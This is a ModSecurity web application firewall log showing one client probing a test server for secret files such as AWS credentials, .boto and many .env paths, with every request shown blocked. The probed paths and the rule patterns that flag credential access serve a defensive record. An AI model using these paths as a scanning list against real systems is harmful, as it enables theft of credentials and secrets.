[Wed Feb 25 06:04:42.724386 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiafwAAAAA&quot;]
[Wed Feb 25 06:04:42.724677 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiafwAAAAA&quot;]
[Wed Feb 25 06:04:42.724935 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiafwAAAAA&quot;]
[Wed Feb 25 06:04:42.725098 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiafwAAAAA&quot;]
[Wed Feb 25 06:04:42.759564 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials/admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiagAAAAAA&quot;]
[Wed Feb 25 06:04:42.759834 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiagAAAAAA&quot;]
[Wed Feb 25 06:04:42.760010 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiagAAAAAA&quot;]
[Wed Feb 25 06:04:42.831604 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /3-sequelize/final/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEgAAAAc&quot;]
[Wed Feb 25 06:04:42.831879 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEgAAAAc&quot;]
[Wed Feb 25 06:04:42.832057 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEgAAAAc&quot;]
[Wed Feb 25 06:04:42.854560 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /31_structure_tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEwAAAAc&quot;]
[Wed Feb 25 06:04:42.854877 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEwAAAAc&quot;]
[Wed Feb 25 06:04:42.855073 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEwAAAAc&quot;]
[Wed Feb 25 06:04:42.862007 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaggAAAAA&quot;]
[Wed Feb 25 06:04:42.862521 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaggAAAAA&quot;]
[Wed Feb 25 06:04:42.862696 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaggAAAAA&quot;]
[Wed Feb 25 06:04:43.031328 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.bitbucket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahAAAAAA&quot;]
[Wed Feb 25 06:04:43.031662 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahAAAAAA&quot;]
[Wed Feb 25 06:04:43.031870 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahAAAAAA&quot;]
[Wed Feb 25 06:04:43.067369 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahQAAAAA&quot;]
[Wed Feb 25 06:04:43.067606 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahQAAAAA&quot;]
[Wed Feb 25 06:04:43.067800 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahQAAAAA&quot;]
[Wed Feb 25 06:04:43.256270 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.c9/metadata/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahwAAAAA&quot;]
[Wed Feb 25 06:04:43.256553 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahwAAAAA&quot;]
[Wed Feb 25 06:04:43.256759 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiahwAAAAA&quot;]
[Wed Feb 25 06:04:43.278446 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.circleci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiaiAAAAAA&quot;]
[Wed Feb 25 06:04:43.278739 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiaiAAAAAA&quot;]
[Wed Feb 25 06:04:43.278937 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiaiAAAAAA&quot;]
[Wed Feb 25 06:04:43.394046 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiaiwAAAAA&quot;]
[Wed Feb 25 06:04:43.394329 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiaiwAAAAA&quot;]
[Wed Feb 25 06:04:43.394538 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ6C62Xxsr5IXP-ltRiaiwAAAAA&quot;]
